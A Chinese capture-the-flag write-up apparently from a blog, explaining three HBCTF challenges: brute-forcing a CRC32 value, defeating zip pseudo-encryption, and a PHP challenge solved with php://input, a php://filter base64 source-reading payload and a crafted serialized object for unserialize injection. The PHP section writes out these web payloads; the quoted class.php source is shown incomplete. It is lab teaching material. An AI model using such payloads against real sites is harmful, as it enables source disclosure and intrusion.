HBCTF——WriteUp&&涨姿势(1)

涨姿势

1.CRC校验
2.Zip伪加密
3.PHP伪协议


CRC校验

原题

这里写图片描述

解题思路

CRC32是由数据的每一位都参加的运算得出的,已知flag是6位数,可以爆破

WriteUp(引用自米安网)

import binascii
real = 0x9c4d9a5d
for y in range(100000, 999999):
    if real == (binascii.crc32(str(y)) & 0xffffffff):
        print(y)     

涨姿势点——CRC的不同含义

    在计算机网络(第七版)中,CRC计算中得到的余数称为FCS,而在此题中(估计也是大多数类似的情况中)crc代表CRC计算得到的余数。

Zip伪加密

原题

HBCTF——WriteUp&&涨姿势(1)_第1张图片

解题思路

既然是伪加密,只要把Zip相应的标志位改为未加密就行

WriteUp

如上图,01修改为偶数即可

涨姿势点——Zip加密标志位

    发现一个加密文件的好方法,把一个未加密的Zip文件的加密标志位改动(具体位置参考zip官方文档),解压时就会提示需要密码,这时就算给你个天河一号你也爆破不出密码,因为这根本就没有密码。经过实验,这要把相应位置改为奇数就可以达到伪加密效果

PHP伪协议

原题

页面源代码

you are not admin ! 

class.php源代码

file))
        {
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>              

解题思路

    可以发现先获取user参数,判断user是否是admin,如果是会加载class.php文件。可以判断flag在class.php内。利用伪协议和Hackbar构造post数据,进入if语句,再用伪协议获取class.php文件内容,最后构造pass参数使class.php工作以获取flag

涨姿势点——PHP伪协议,Hackbar发送post数据

user=php://input 然后加上Hackbar发送的数据  手动添加参数
file=php://filter/convert.base64-encode/resource=文件名  伪协议查看文件内容
pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}  构造的pass参数(反序列化)

备注

因为user是判断一句话,话中有空格,所以使用php://input,还和file_get_contents($user,'r')==="the user is admin"这句判断有关系,不然user参数可以直接写在url中

你可能感兴趣的:(CTF)